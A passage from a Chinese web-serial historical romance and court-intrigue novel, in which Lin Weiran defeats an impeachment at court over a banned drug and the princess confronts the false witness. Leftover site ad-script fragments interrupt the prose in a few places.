傅令珏长吁一口:“西北才是我们一家的立身之本。不然,无论是傅家那些旁系,还是这朝中之人,都恨不能把咱们拉下来。” 说着,他又对傅令温笑了下:“不提这些了,令温,你年纪也不小了。既然回京了,我让你嫂子多留意留意,看看京中哪家公子与你相配。” 傅令温垂眼又抬眼,仿佛在一瞬间做了某个决定。 她抬起修长的指尖指了指他脸上那道伤痕,淡淡地笑了下:“哥你先处理下脸上这伤痕吧。” —— 公主府,杨灵允见完了安之和,又派杨言去宫中调一队禁军出来守着公主府,然后疲惫地坐在了正堂之中的交椅上,阖上眼睛。 她缓慢地转着手腕上那串佛珠,直到天边的最后一抹夕阳也消失殆尽,她也没有起身。 时间仿佛在这间屋子中停止了。 母后、傅影、傅令珏、傅令温……还有哥哥——几张面孔走马灯一般闪现在她眼前,搅得她头痛欲裂。 “宣和……”“长公主……”“杨灵允……”“狼心狗肺的东西……” 重重叠叠的声音在她耳边起起伏伏,将她死死锁在这把椅子上,难以动弹。 她想起身离开,却挣脱不开。 她想砍断一切,眼前却只看见似真似幻的人脸—— 有傅影沧桑的面孔,与母后相似的眼睛里透着指责—— “你是傅家人!你身上流着我傅影的血!” “不管你认不认,你都流着傅家的血!” 还有王正安一群老臣警惕的脸色—— “太子被废,傅家也在其中推波助澜。临安公主,你不该给我们一个解释吗?” …… 尖锐的叫嚣声质问声中,杨灵允的思绪也渐渐涣散,连带着她整个人都变得轻飘飘的。她缓慢的半悬在空中,漠然地看着过去的自己。 跪坐在地,前面是自己母亲毫无生机的身体。 群臣环伺,太子旧臣冷冷地等着她要一个解释。 然后—— 她亲手杀了一个傅家人。她亲手把皇位捧到小皇帝面前。 但一切却还不能结束。 傅家人处心积虑地想拿她当傀儡。老臣们或想架空她控制小皇帝,或心怀疑虑地想置她于死地。 真累啊。杨灵允看着过去的自己,面无表情地合上了眼,任由自己的意识在黑暗中下坠涣散。 但就在意识即将消散的那一刻,猛烈的推门声骤然响起——伴着杨言急促又焦躁的阻拦:“林太傅您不能进去!” 意识回笼,轰然落地,杨灵允缓慢地睁开了眼。 林魏然喘息着站在门边,裹着温热的夏风猝不及防地闯进她眼底。 他的身后草木摇曳,夜色温柔。 64. 第 64 章 在林魏然不管不顾地推开门的那一刻,杨言就再没出过声,悄无声息地将所有公主府下人都带走了。 杨灵允抬眼看林魏然:“你怎么来了?” 林魏然的手摁在门板上,说话间还带着轻微的喘息,“我看见傅令珏从公主府中出来。” “担心我?”杨灵允短促地笑了一声,“没这么脆弱。” 她还坐在那把交椅上,正堂之内一片昏暗。她又阖了眼语调平静:“我今夜宿在公主府,你回去吧。” 摁在门板上的手渐渐泛白,暴起青筋。 林魏然胸膛剧烈地起伏了两下,然后轻轻关上了门,走了进来。 他点亮了正堂内的灯。 就算杨灵允少住公主府,下人们也不敢懈怠。公主府内的东西都是一等一的好。 灯火从灯罩中倾泻而下,在幽暗处呆久了的杨灵允被灯火陡然一照,就算闭着眼也觉得有些刺痛。 她不悦地想睁眼质问,但下一刻,眼皮上又传来温热的触感—— 林魏然伸手遮住了她的眼睛,只余细微的灯光从他指缝间透进来。 薄薄的一点光,打在杨灵允眼皮上,微亮而不刺眼。 “你做什么?”杨灵允很轻地吐出一口气,仿佛默许,又靠回了椅子上。 林魏然垂眼看她。 她还穿着他的黑衣,靠在交椅上,削瘦的身形仿佛一株直挺挺的竹,不折半寸。 “我知道……宣和很厉害,”他轻声道,“什么都能解决,什么都能做成。” “我只是想陪陪你。” 林魏然的右手还遮着她的眼睛,左手指尖缓缓抚过她的侧脸,一点点下滑到后颈。 温热从后颈蔓延至杨灵允全身,她忽然觉得傅家的那些事好像变轻了。 “这佛珠,是哥哥给我的。”杨灵允垂在把手上的指尖一颤,忽然开口,“他说,利益决定立场,傅家的选择是常人趋利避害的本性,他理解。” “可我不理解,在我最困难的时候,他还来火上浇油。”杨灵允又开始无意识地转着佛珠,声音里仿佛也染上了嘲讽之意,“你说好不好笑,最后帮过我的,没有一个是我的所谓亲人。” ——其实很早之前,在太子还未被废,先皇后还未离世之前,傅令珏当真是一个好舅舅。在她私自离宫出来玩时,会一边没好气地说着下次不许,一边继续派人保护她,帮她在先皇后那边打掩护。 这些年来,其实她感受过很多人的爱意。只是这些爱意到最后,掰开一看都裹着砒霜。 光滑的佛珠在杨灵允的指尖越转越快,她仰头靠在椅背上。 屋内只有细碎的珠子碰撞之音。 “那就别原谅他。”林魏然忽然倾身拿走了她手中的佛珠,声音又轻又哑,“表哥送你佛珠,是想让你放过自己,不是放过他们。” 手中陡然空了下来。杨灵允下意识地睁开眼,但眼前还是只有细碎的微光。 林魏然似乎是换了个位置,半蹲在她身边。她感觉到耳边传来热气,还有林魏然低哑的声音—— “人活一世,总会跟一些原本在同一条路上的人分道扬镳。” “既然已经分开,就不必回头再看。” 杨灵允下意识想抬手拨开林魏然遮着自己眼睛的手,但林魏然却越遮越紧,甚至将用另一只手按着她的侧脸。 他唇角擦过她的耳边,摇摇欲坠的理智已经快拴不住那即将宣之于口的三个字。但在一片混沌的情绪冲击间,理智的某个角落——充斥着王正安多次语重心长的告诫,闪烁着无数朝臣百姓各异的面孔…… 再次死死地缠住了林魏然。 片刻的失神后,林魏然咽下了那三个字,只倾身呢喃着—— “我陪着你……我会一直陪着你……” 只是在这声声不断的呢喃间,林魏然渐渐合拢五指,牢牢地遮着杨灵允的眼睛——他不敢让她看见自己,不敢说爱她,却又难以放手。 烛火摇摇晃晃好一会之后,林魏然终于慢慢松开了遮着杨灵允眼睛的手。 这一回,火光终于不再晃眼。 杨灵允自下而上地看见了林魏然清亮的眼眸——他的眼底倒映着她的面孔。 而她幽黑的眼底仿佛倒映着一切他见不得光的心思。 仿佛过了很久,又仿佛只过了瞬间,杨灵允嘴角弯起细微的弧度,轻轻笑了声:“真会安慰人啊,林尚书。” 但她最终起身,离开公主府和林魏然一起回家。 回程路上她想起搬出宫那日幼荷问的话——“你与林太傅,如今究竟算个什么事啊?” 那时她沉默很久,说,我也不知道,不过我也不想知道。 就这样糊里糊涂地过下去,对他们来说才是正确的答案。杨灵允想。 至少这样,朝局不会出乱子。她对哥哥有交代了,他们也能补上八年前未成的遗憾。 行人流水间林魏然转头看了眼杨灵允——她看上去心情尚好。 林魏然垂眼遮住了眼底一闪而过的暗色,心想着自己当真是卑劣——又不敢说爱,又不想放手。 翌日清晨,王清安在接了宫中传信后,急匆匆地又跑去了林魏然的宅子。 在门口,他却撞见了杨言。 “杨公公?”王清安问了声好,“您也是来请林尚书……入宫吗?” 杨言沉默片刻,没说什么,摆了摆手,让王清安先去敲门。 开门的是林魏然,仿佛是猜到了什么,没等王清安开口,便道:“我知道,我马上入宫。” 余光瞥见站在一边的杨言,林魏然顿了顿,又道:“杨公公是来……” 话音未落,杨灵允已经从走了出来:“我先入宫。” 杨言弓着身子,请杨灵允上不远处那辆低调的马车。 杨灵允上马车前回头对林魏然笑了下:“林尚书,今日好好准备。” 车夫一扬马鞭,马车“骨碌骨碌”地走远了,扬起些灰尘。 飞扬的尘埃之下,王清安看着杨灵允远去的马车,神色凝重:“林尚书,御史台的王尚带了不少人跪在太极宫外,告你忤逆、贪污受贿、严刑逼供、罔顾法度等一众罪,联名请奏治你的罪。奏疏上还有不少人的签名,其中就有傅令珏。” “我知道,”林魏然关了院门淡淡道,“今日怕是回不来刑部了,刑部的事你多看着些。” 王清安闭了闭眼,还是忍不住说完:“林尚书,恕我直言。傅令珏可是长公主的亲舅舅,还有那王尚,分明就是长公主一派的。您——” “我知道,”林魏然转头看他,加重声音又重复了一遍,“这些都是针对我的。你不必掺和进这些事,好好守着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 刑部就行了。” 说着他嘴角又浮上些许笑意:“陈扶苏的事你多上心些,那老人家还等着我们一个解释。” —— 太极宫内,作为被众人参奏的那一个,林魏然似乎没有丝毫自知之明,甚至是最晚到的。 在他向小皇帝和杨灵允行过礼后,王尚便冷笑出声:“林太傅可真是难请啊。” 小皇帝淡淡开口:“王御史,既然人已经来齐,你就把刚刚说的话再说一遍。” 陛下对林魏然的维护之意在场所有人都看得出来,但绝大多数朝臣都没有将其放在眼里——在他们眼中,小皇帝还是那个年幼的、任人拿捏的幼帝。 更重要的是,今日有长公主在场。 王尚眼底闪过轻视之色,便再次执手行礼,沉声斥责了一通林魏然。从他在宁安侯夫人生辰宴上的忤逆之举,到他在刑部倒行逆施,贪污受贿,为了政绩严刑逼供等一干重罪。 真真假假,虚虚实实,通过他那张嘴说出来,仿佛就已经是板上钉钉的事实了。 最后他已然痛心疾首:“陛下,臣知晓林魏然一年前的清君侧乃是大功一件,可如今他竟居功自傲。功不抵过,臣恳请陛下——秉公处置,给天下百姓一个交代!” 他话音一落,一干跟随他的御史纷纷迎合,声势浩大。 小皇帝微不可察地抿了抿嘴角,刚想开口,林魏然已经先一步开口轻飘飘地开口了—— “王御史好一张巧嘴。不过我倒有句话想问问御史,听闻御史如今已纳了第八门妾。敢问御史,这可是令尊令堂的意思?” 王尚年过不惑,家中父母远在江北,更何况这种后宅之事,被林魏然直接搬上大殿之上,任谁都觉得颜面无光。 他一下就青了脸色——“你什么意思?” 林魏然环视一圈,拱手淡道:“诸位,王御史说我忤逆。可那日生辰宴上诸位也知晓,我只是不想应下宁安侯给我定的那门婚事。王御史自己的婚事都未经父母允许,怎么到我就不一样了呢?” 王尚冷笑道:“林魏然,你别胡搅蛮缠。我那是纳妾,与婚事如何能混为一谈?婚姻大事,父母之言媒妁之命,你当众拒婚,便是忤逆!” 林魏然嘴角弯起一个细微的弧度:“父母之言……原来王御史也知道是父母之言啊?那你是我爹吗?” 寂静的殿内忍不住传来一声低低的笑声。 王尚脸色更难看了,刚想开口反驳,林魏然已经冷笑一声打断了他—— “我爹娘都没来告我忤逆,你算个什么东西?说我忤逆?” 说着,他又朝上座执手行礼,沉声道:“陛下,若今日是宁安侯告臣忤逆,臣绝无二话,任凭陛下处置。只是这王御史一不是我爹,二不是我娘,他告臣忤逆,恕臣难以认罪。” 王尚下意识辩驳:“御史之责便是监察百官,我如何告不得?” “御史之责,是监察百官是否徇私枉法,是否尸位素餐,”小皇帝淡淡开口了,“王御史,朕不记得,原来御史的手已经可以伸得这么长了。” 王尚下意识地咽了口唾沫,往杨灵允那投了一眼。 杨灵允神色平静,无动于衷。 王文辅见状,连忙出声道:“陛下,纵使不提忤逆一事,林魏然在刑部种种,徇私枉法贪污受贿,都是证据确凿的!” 65. 第 65 章 小皇帝眼底闪过一丝不耐,杨灵允已经淡淡开口:“既然有证据,那就呈上来,给大家都瞧瞧吧。” 喜色在王文辅眼底一闪而过,他连忙上前两步,呈上一份血书,义正言辞道:“陛下,此乃长安富商成百万临死前留下的。血书所言,林魏然多次向他讨要银子。直到最后,他家底都被林魏然搜刮干净了,林魏然还不肯放过他。走投无路之下,他只得来御史台告状。” 太监很识趣地将血书呈到小皇帝面前。 小皇帝扫过一眼,还未出声,杨灵允先开口问道:“照你这么说,成百万是有把柄在林尚书手上?” 王文辅用力点点头,清俊的脸上浮现出悲愤之色,声音抬高了不少—— “成百万在长安坊市兜售寒食一年有余,林魏然早已发现,却不管不顾,反而以此要挟成百万每月献上一百两银子!” 话音刚落,众人神色都有些变了。人群中,被同僚拉来凑数的郑虔更是沉了脸色,鹰眼打量着林魏然,皱起眉头。 小皇帝扬手让太监把血书挪开,看向林魏然,缓声问道:“林太傅,这是怎么回事?” 林魏然脊背直挺地立着,平静道:“陛下,若凭区区一封血书便能定罪,那么大理寺、刑部,也都不用干活了。大家看谁不顺眼,放血写封状子告谁便是了。” 人群中又有人忍不住笑了一声。 王文辅气得回头看一眼,却没找到到底是谁在笑。 林魏然语气平淡地继续开口:“陛下,臣愿与这素未谋面的成百万成老板当堂对质。” 王文辅冷冷道:“林尚书真是打得一手好算盘,人都让你给逼死了,如今再来说些冠冕堂皇之词。” “那是你们御史台的监管不利啊,”林魏然转头,似笑非笑地看了眼王文辅,“如此重要证人,怎么能让他轻易寻了死呢?” “成百万带着血书来御史台告状,已是存了寻死的心,”王文辅反驳道,“这血书字字泣血,字迹与成百万书信中的字迹如出一辙。林尚书莫不是还要说,这血书是伪造的不成?” 林魏然微微眯了眯眼,忽然笑了一声—— “王御史,你这话实在有些不通。若成百万告上御史台时已经存了死意,为何不在血书中明说我借售卖寒食要挟他一事,反而借你之口说出?” “这封血书言辞模糊,若是在我刑部,都是要让苦主重写的。” 说着,林魏然又拱手道:“陛下,臣以为,诸位拿着这种模糊不清的血书便给人定罪,实为失责。” “你少血口喷人!”王文辅到底年轻,被林魏然一激便失态地怒道。 王尚见状,忙出声打圆场:“回禀公主,陛下,其实我们御史台还有一位证人,只是担心冲撞了公主与陛下,才没有带上来。” 杨灵允挥挥手道:“既有证人,那就带上来吧。” 人群中有老臣皱着眉头反驳:“不可!太极宫怎可让外人随意出入?岂不是置陛下的安危于不顾?” 小皇帝冷淡地开口:“无事,朕也想将事情弄个明明白白。王御史,把人带上来吧。” —— “老身张氏拜见诸位大人。” 御史台的人领着一个走路颤颤巍巍的老妇人缓缓进殿,林魏然和杨灵允脸色同时沉了下来。 但杨灵允坐得高,王尚等人并未看见长公主脸上一闪而过的暗色,只看见了林魏然陡然沉下的神色,眼底不自觉露出几分得意。 小皇帝抬了抬手,示意她起身。 王文辅便对着老妇人沉声道:“陈老太太,您看看,您说见过成百万与官府的人有勾结,那人可在殿中?” 张氏小心翼翼地抬头环顾一圈,眼神落在林魏然脸上,抬手指他,皱纹丛生的脸上浮现出一种浓重的悲愤:“是他,就是他!就是他与姓成的勾结,害死了我孙儿!” 满屋皆惊。 王文辅温声道:“老太太,您别急,将事情一一说出来,我们会替你做主。” 张氏咽了口唾沫,又垂下头,声音也变得颤颤巍巍:“我,我孙儿名叫陈扶苏。他是发现了成百万与他儿子成凌暗中在卖一种违禁之物。为了弄清楚,他找上了成凌。谁知那成家小儿心狠手辣,竟想置我孙儿于死地。” “为了自保,我孙儿才失手捅死了成凌。可官府的人却始终不听我们解释,直接判了我孙儿死刑。” “我曾去长安县的县衙,无意中听见县丞和成百万说,‘如今大理寺的批文已经下来,只差刑部的。’” “成百万说,他正在与刑部的一位大官做大生意,与当今刑部尚书关系颇好,就算没有刑部的批文,我孙儿的死刑照样能执行!” 张氏说着,又抬起头,再没了昨日在刑部外的悲苦模样,满脸痛恨,咬牙切齿:“老身昨日去刑部,就是想看看与姓成的沆瀣一气的,到底是什么人!” “可怜我孙儿,他尚未成家,我儿又去得早,如今整个家只剩我一人……”张氏说着又哽咽了起来。 张氏这一番控诉泪声俱下,在场不少官员都露出些同情之色,觉得她并未撒谎,林魏然是个表里不一的伪君子。 王尚与王文辅对视一眼,王文辅先开了口,“陛下!如此看来,林魏然不单遮掩成百万售卖寒食一事,甚至他也是售卖寒食的官员之一啊!陛下明鉴,林魏然知法犯法,罪加一等啊!” 林魏然沉默地听完了张氏和王文辅的控诉,神色已然变得平静,声音毫无起伏:“说完了,该轮到我说了吧?” 有人皱眉骂道:“人证物证皆在,你还有什么话好说?” 林魏然视若未闻:“陛下,此案疑点有三。” “其一,从王御史先前的话中可知,张氏的这番供词他也是第一次听说。那么我想问问御史台,诸位御史做事就是这般潦草,什么都不问就把人带到陛下面前吗?” “那是我们……”王文辅刚想解释,就被林魏然面无表情地打断——“王御史,听人把话讲完是基本教养。” “其二,张氏说我与成百万勾结,一同售卖寒食。若我当真与成百万勾结,又何必把他逼到走投无路以命相搏的地步?” “说不定就是因为你太贪了。没想到成百万会背后捅你一刀。”有人冷声反问道。 林魏然淡淡道:“去年三月,陛下便禁止售卖寒食。我若做着这种有风险的,又怎么会愚蠢到我的合作之人逼至绝路?” “一次有风险的暴利,还是细水长流的银子,我想诸位都知道选哪个吧?” “其三,”林魏然转头看向一边雍容气派的张氏,阖了阖眼,平静道,“我想问老人家一句,你可曾去过东南吗?” 张氏抬头瞪他一眼,又极快地垂眼,一言不发,只有华发上的钗子微微颤动。 “那就是没有,”林魏然了然地点点头,“去年三月,郑虔将军在东南将寒食列为违禁之物。但因为长安从未出现过寒食,所以此禁令并未传到长安,只在官员间流传。据我所知,你家中并无人入朝做官,你的孙子又为何知道成家父子售卖的是违禁物?” “在你昨日来刑部喊冤时,我便再次问过长安县县丞。他说,你的孙子是替妹报仇才杀了成凌。从头到尾,他的供词中都没提过寒食。” “那县丞与你沆瀣一气!”张氏不甘地开口反驳,却又被林魏然打断。 “那县丞姓傅,”林魏然平淡道,“我若与他沆瀣一气,那我上月为何要上奏撤了他哥哥在刑部的职并将人贬出长安?我难道不怕他反手捅我一刀吗?” 数月前的云家一案牵连甚广,林魏然等一干陛下党借机清算了不少傅氏子弟,这是朝野人尽皆知的事实。 有些官员的眼神变得幽深,打量着阶下四人,又怀疑地看看张氏。 王文辅见状,一咬牙直接往杨灵允那头拱手:“公主殿下,您数月前遇刺,中了寒食之毒。长安街头的普通商户怎么可能有机会接近金吾卫,其中定然有朝中之人的手笔!” 林魏然闻言,嘴角忽然扯开些弧度,短促地笑了一声:“王尚书,可你应当比我更容易拿到寒食吧?” 王文辅陡然变了脸色,还没等他开口,林魏然再次执手行礼:“陛下,公主,既然御史台带了他们的证人上台,臣也斗胆请陛下传长安县县丞傅长来做臣的证人。” 傅长有官身,很快就到了太极宫。 林魏然缓声开口:“前夜,刑部抓了一个售卖寒 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 食的小喽啰,小喽啰供出一个大买家,臣便带人前去查看,没想到这大买家之一,便是傅县丞啊。” 傅长打了个激灵,连声告罪。 小皇帝不耐地挥挥手,又看向林魏然:“林太傅,你说王御史比你更容易拿到寒食,到底是什么意思?” 林魏然淡淡道:“傅县丞,将你在刑部的话再说一遍吧。” 傅长咽了口唾沫,想起就在刚刚林魏然的警告——“你已经供出了傅令珏和王文辅,如今在你面前的只剩一条路。在陛下面前老实交代一切,我保你服用寒食这事无罪。否则你就等着被秋后算账。” 他狠狠一咬牙,扯着嗓门道:“陛下,与臣吸食寒食的就有王文辅等一干新科进士!而且他们手中的寒食,都是成百万手中买的啊!” 此话一出,王文辅与王尚都变了脸色。王文辅更是气急地上前踹了他一脚——“你竟敢栽赃我!” 场面一下变得闹哄哄的,有议论的有看热闹的,小皇帝拍桌拍了好几下也不管用。 杨灵允冷着脸摔了一件物什,强烈的碎裂之音总算镇住了场面。 “闹什么?这是太极宫,成何体统?”她冷声警告一番,才扬手示意太监把傅长扶起来,“姓傅是吧?你继续。” 王文辅那一脚大约是用足了劲,傅长被扶起时还倒吸一口气,然后又呲牙咧嘴德供出好几个名字——都是新科进士,有的是前夜与他一起的,有的不是。 “陛下,臣万死不敢欺瞒陛下。如若陛下如今立即派人去抄他们家,定能在其中发现不少寒食!” 王文辅额上冒出些冷汗。 杨灵允轻飘飘地瞥了他一眼,眼底毫无动摇。 王尚将这一切尽收眼底,恨得暗自咬牙——没想到林魏然手上还有一个傅家人。 这人一出现,原本尚算平衡的天平已经逐渐往林魏然那倾斜了。 就在他咬牙拼命想新法子的时候,小皇帝已然开口:“林太傅数月前便已给朕上奏长安出现寒食一事。如今众卿都在,便尽早拟了新法,通告长安百姓寒食乃违禁之物,制作售卖者严惩不贷。” “至于王御史和傅县丞……”小皇帝无意识摩挲着指尖,似乎是想着按傅长所言下令抄家。 王尚心知一寒——绝不能让小皇帝去抄家,否则他们御史台就真成了个笑话了。 想到这里,他又狠狠瞪了眼王文辅,忽然扬手就是一个巴掌——“混账!” 王文辅被他打懵了,捂着脸难以置信地站在原地。 王尚一撩衣袍跪了下来,声音恳切又悲痛:“陛下,公主殿下,臣万万没想到此人竟敢违抗禁令吸食寒食,臣也是被他蒙蔽了,一心想着为陛下尽忠,这才写了奏折弹劾林太傅。” “臣回去定当严加管理御史台,查清一切。给公主陛下一个交代!” 小皇帝一言不发地继续摩挲着指尖。 王尚眼底闪过一丝暗色,又往杨灵允那边投了一眼。 杨灵允与王尚对视片刻,然后转头看小皇帝,缓声开口:“陛下,抄家一事便罢了吧,毕竟先前律法也并未说明吸食寒食之人该如何处置。若他们以后再犯,再严加惩处也不迟。” 她一开口,王尚闭了闭眼,心底总算松了口气。 小皇帝看向林魏然:“太傅以为如何?” 林魏然瞥了眼一边战战兢兢又不时向他投一眼期待之色的傅长,淡淡道:“臣以为公主殿下说得极是。” 他这话的意思,仿佛是放了王文辅傅长这些人一马。 王尚在放松之余心底又升起怀疑——姓林的有这么好心? 但下一刻,他就知道自己错得彻底—— 林魏然清朗的声音响彻整个大殿:“但寒食一事,众多新官员参与其中,其中不乏因家族而入仕的。这正说明了我朝官员的选拔制度存有问题。” 能进太极宫的官员几乎都是世家出身,只是家族有大有小罢了。 在这一片世家出身的官员微变的脸色和警惕的目光中,林魏然再次执手行礼,语调四平八稳—— “臣以为,应当废除举荐制,废除参加科举的种种限制,让所有家世清白之人皆可通过科考,入朝为官!” 66. 第 66 章 林魏然的声音缓缓落地,殿内有片刻沉寂,但不少原本只是来凑数看个热闹的官员此时忽然变了脸色—— 原本只是一场弹劾林魏然的朝会,成功与否与他们的利害相交不大。但林魏然这一番话,是切切实实地动了他们的利益,动了所有世族的利益。 若没了举荐,所有人都能参加科考,岂不是他们还要和那些蝼蚁一同考试做官?那他们世族的颜面何在? 所以几乎是片刻之后,就已经有人出声反驳,举荐制乃是太祖建朝时便留下的制度,怎可由他一个后生说废就废? 此乃大逆不道! 几乎全殿的人都在附和着。 混在人群的郑虔沉默片刻——其实他最初得以去东南平叛,挣下东南大将军郑家的这份家业,也是因为他出身淮南郑氏,与西北傅氏一样,都是赫赫有名的将门世族。 所以他最终也没有出声替林魏然说什么。 转瞬之间,原本还算站在林魏然这边的朝臣都变了脸色,不少老臣更是斥责着林魏然大逆不道口出狂言。 杨灵允坐在上首,指尖有一搭没一搭地敲着座椅边上镶嵌的明珠,一言不发。 小皇帝却忽然开口了:“举荐制度到底是太祖所留,妄然废除实有不妥。” 林魏然极快地改了口,言辞恳切:“陛下,既然如此,臣恳请陛下废除科考的一切限制,广纳天下有才之人。” 有了那番惊天地的废除举荐制之言再前,这一回林魏然受到了阻力明显小了不少——毕竟不少世家子弟都是靠举荐入朝为官。科举是近些年,也就是先帝朝时才渐渐流行起来的。 这场原本弹劾林魏然的朝会彻底变成了林魏然和小皇帝的主场,直至朝会结束,也再没人提起以王尚为首的御史台参奏林魏然一事,反而都转而私下议论林魏然到底是搭错了哪根弦,一个高门世族出身的贵公子,竟干出这等糊涂事。 实在是数典忘祖,大逆不道。 …… 不过这些议论都传不到张氏耳中。 她没有发挥任何作用,甚至还被林魏然抓到了漏洞反将一军,御史台的人对她的脸色自然算不上好,将人送到宣德门外的朱雀大街便阴着脸离开了。 张氏却忽然爆发出巨大的力气,一把攥住了那御史的官袍:“大人,您说只要我指证林魏然,你就会还我孙子一个公道的!” 御史不耐烦地拨开她的手,微微眯了眯眼警告道:“本官几时说过?陈老太太,说话要讲证据。是你自己看见了长安县县丞与成百万勾结,也是你自己来御史台说县衙刑部沆瀣一气,本官是出于好心才帮你一把,谁知你竟胡言乱语欺瞒本官,如今还想攀扯本官?” 张氏怔在原地,难以置信地看着眼前的人,眼底的浑浊愈发深重,声音也变得沙哑:“是你们告诉我,与成百万勾结的就是林魏然,刑部尚书林魏然啊?” 朱雀大街素来热闹,如今又是天光大亮的时辰,人只多不少。就算两人并未进入大街,也已经有些路过的人对这一老一少投来好奇的目光。 御史忽然意识到什么,停下离开的脚步,又转头对张氏微微笑了下:“陈老太太,是你说刑部不干净,刑部不干净,等同于林魏然这个刑部的头儿也不干净。” “但是呢,”御史放缓声音,徐徐引诱,“你如今一拿不出证据,二又被姓林的抓到了你证词中的漏洞,所以要是没法扳倒姓林的,你是没法替你孙子伸冤的。” 他看着张氏眼底缓缓浮上的恨意,眼底闪过一丝得逞的笑意——他们御史台暂时是动不了林魏然,不过眼前这老太太若是做什么,与他们御史台可没有半分关系。 御史很快离开了这个是非之地,张老太太一人站在朱雀大街的牌匾下,苍老的脸上浮着浓烈的狠意,她颤颤巍巍地,很慢地,抬脚往前。 只是在经过一个巷子时,她又被人叫住了——“陈奶奶!” 巷子口站着个年轻女子,一身黑衣,面上最秾丽的便是那双上扬的凤眼,染着意外之色。 张氏停住了脚步,转头看她,沙哑着嗓音问道:“你是谁?” 杨灵允咬唇笑了下:“陈奶奶,你不记得我了吗?我是扶苏的朋友啊,去年扶苏还向我借了五两银子呢。” “扶苏……扶苏,”张氏似乎精神有些恍惚,念叨了两声眼底才变得清明了些,“你是扶苏的朋友,你怎么会在这里?” 杨灵允眼底闪过暗色,继而又道:“我这儿买点东西,没想到会碰到你……家中还好吧?扶苏走的时候还托我多照顾一下,只是当时扶苏沾了那杀人的罪……” 她话还没说完,忽然被张氏激烈地打断了——“我孙子没有杀人!他是被姓成的害了!” 杨灵允扬了扬眉,意外道:“可扶苏去刺杀成凌前还跟我说,是因为成凌害了荷华,而他也是帮凶之一,所以他才要当众刺杀啊?” 激动之下的人往往能爆发出惊人的力量。 张氏在杨灵允的言语刺激下快步上前,扬手扇了她一巴掌,愤怒道:“胡说八道!陈荷华是自尽,扶苏跟她的死有什么关系?” 她这一巴掌力气足,杨灵允偏了头,用舌尖轻轻顶了顶痛意蔓延的右脸,喉咙里忽然挤出一声低笑:“扶苏当真什么都没告诉你?” 她慢慢转头看张氏,幽黑的眼底带着被激怒的冷意和恶劣:“我本来也没想说,可您实在太过分了。” 张氏下意识退了一步,眉心的沟壑愈发明显——她想要离开。 不过杨灵允伸手攥住了她,轻笑一声:“扶苏为什么会死,我可比您更清楚。陈荷华在成凌的引诱下沾上了寒食,陈扶苏倾家荡产地供着她吸寒食,甚至不惜向我们这些朋友借钱。” “本来吧,这日子也就这样过下去了。可您日日对陈荷华辱骂甚至殴打,逼死了陈荷华……” “闭嘴!”张氏瞪大了眼,拼命地想挣开桎梏。 杨灵允五指用力,死死地攥住她那华贵精致衣裳的宽袖,残忍又平静地继续说下去:“扶苏最疼爱荷华这个妹妹。可他最疼爱的妹妹,却因为他的疏忽被自己的奶奶逼死了。你说,扶苏该有多痛苦多绝望,才会选择与成凌同归于尽?” 天光照不进巷子,阴影笼罩住两人。 在张氏变得惊惧畏缩的眼神中,杨灵允从喉间溢出一声低低的嘲讽:“所以啊,害死扶苏的不是成百万,不是县衙的官差,更不是刑部的官差。” “是你呀,陈奶奶。” 杀人诛心,无异于此。 杨灵允缓缓松开了手,但张氏仿佛连离开的力气都没有了,眼瞳浑浊,神色痛苦,口中不断喃喃自语着什么。 杨灵允没听清,也懒得弯腰去听。她倚在巷墙上看张氏,艳绝的面孔上露出浓重到有些刻意的惆怅,还掺着一闪而过的阴冷—— “您也别想着去报复谁了,好好活着吧,别辜负了扶苏给您留下的那份家产。” 她转身离开巷子,回头看一眼连站都有些站不稳的张氏,挑了挑眉,知道张氏刚刚被那御史激起的复仇之心估计已经消失殆尽了。 这样就不会再被人利用着刺向林魏然了。杨灵允满意地离开,再没管过身后人的死活。 先前在殿上,她没错过林魏然脸上一闪而过的惊鄂。 所以她更不高兴了——林魏然一心惦记着给这老太太一个交代,这老太太反手就给了林魏然一刀,如今还想再报复?'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 这可不行。 只是失策了,没想到老太太一把年纪,打人的手劲还真不小。 杨灵允又摸了摸余痛未消的脸颊,回了公主府。 公主府的檐匾边上站着一个出乎意外的人,与守着公主府大门的钱其平静对视。 “公主!” “宣和。” 两道声线同时响起在杨灵允耳边。 杨灵允忽略了钱其对着林魏然虎视眈眈的态度,只问林魏然:“你怎么来了?” “我看见杨言一个人回府,”林魏然快步上前,解释道,“我有些担心……” 杨灵允下意识想拉开与林魏然的距离:“担心什么?我有些事要处理……” “你的脸怎么了?”林魏然死死地看着她的面孔,逼近几步,抬手时指尖微颤,“谁打你?” 钱其闻言连忙上前,见到杨灵允右脸上淡淡的红痕后连声告罪:“是属下失职!请公主降罪!” 杨灵允被这两人弄烦了,挥挥手抬脚进了公主府:“我出去处理些事情,没什么大不了。” 林魏然紧随其后,然后扬手把钱其关在门外。 门外的钱其碰了一鼻子灰,大怒着就想进去找林魏然算账,被适时出现的幼荷好说歹说地劝下了。 门内的两人脸色各异,林魏然脸色沉沉,不知从哪翻出膏药想给杨灵允上药,却被杨灵允抬手制止了。 “一点小伤,”她摸摸鼻尖,“过会就看不见了,不用上药。” 公主府内的布景自是有人悉心照料,又逢初夏,草木葱茏,繁花似锦,是养眼的气派与悠然。 只是林魏然的神色没有沾染上府中的半分悠然,嘴唇紧抿着——好一会才开口:“你去见了张氏。” 他语气笃定。 杨灵允扬眉,倒也没否认:“你怎么知道?” 林魏然低声道:“你一下朝就不见身影,自然是去寻今日在殿中的人。但若是寻朝臣,你不会孤身前去,至少会带杨言或幼荷。” “还有一点,殿中之人除了张氏,无人敢对长公主动手。” “你是去告诉了张氏陈扶苏一案真正的来龙去脉。” ——就在昨夜,林魏然将他查案所得和自己的猜测尽数告诉了杨灵允,陈扶苏这一案已经差不多明了了。 只是就这样被人戳穿,杨灵允总觉得心底有几分尴尬。 她下意识摸摸鼻尖,又道:“你都猜到了,还这么紧张做甚?一个老人难不成还能对我怎么样?” 林魏然动了动喉咙,忽然抱住了她,下巴在她脸边轻轻蹭了蹭,轻声开口:“我……我只是有些担心。” 先前在朝中的一番唇枪舌战已经耗了他不少精力,如今他的克制已经所剩无几。加之这些日子杨灵允除了上朝便是跟他在一起,更助长了他心底那些见不得光的念头,随着那些念头而来的,也是巨大的不安和恐慌—— 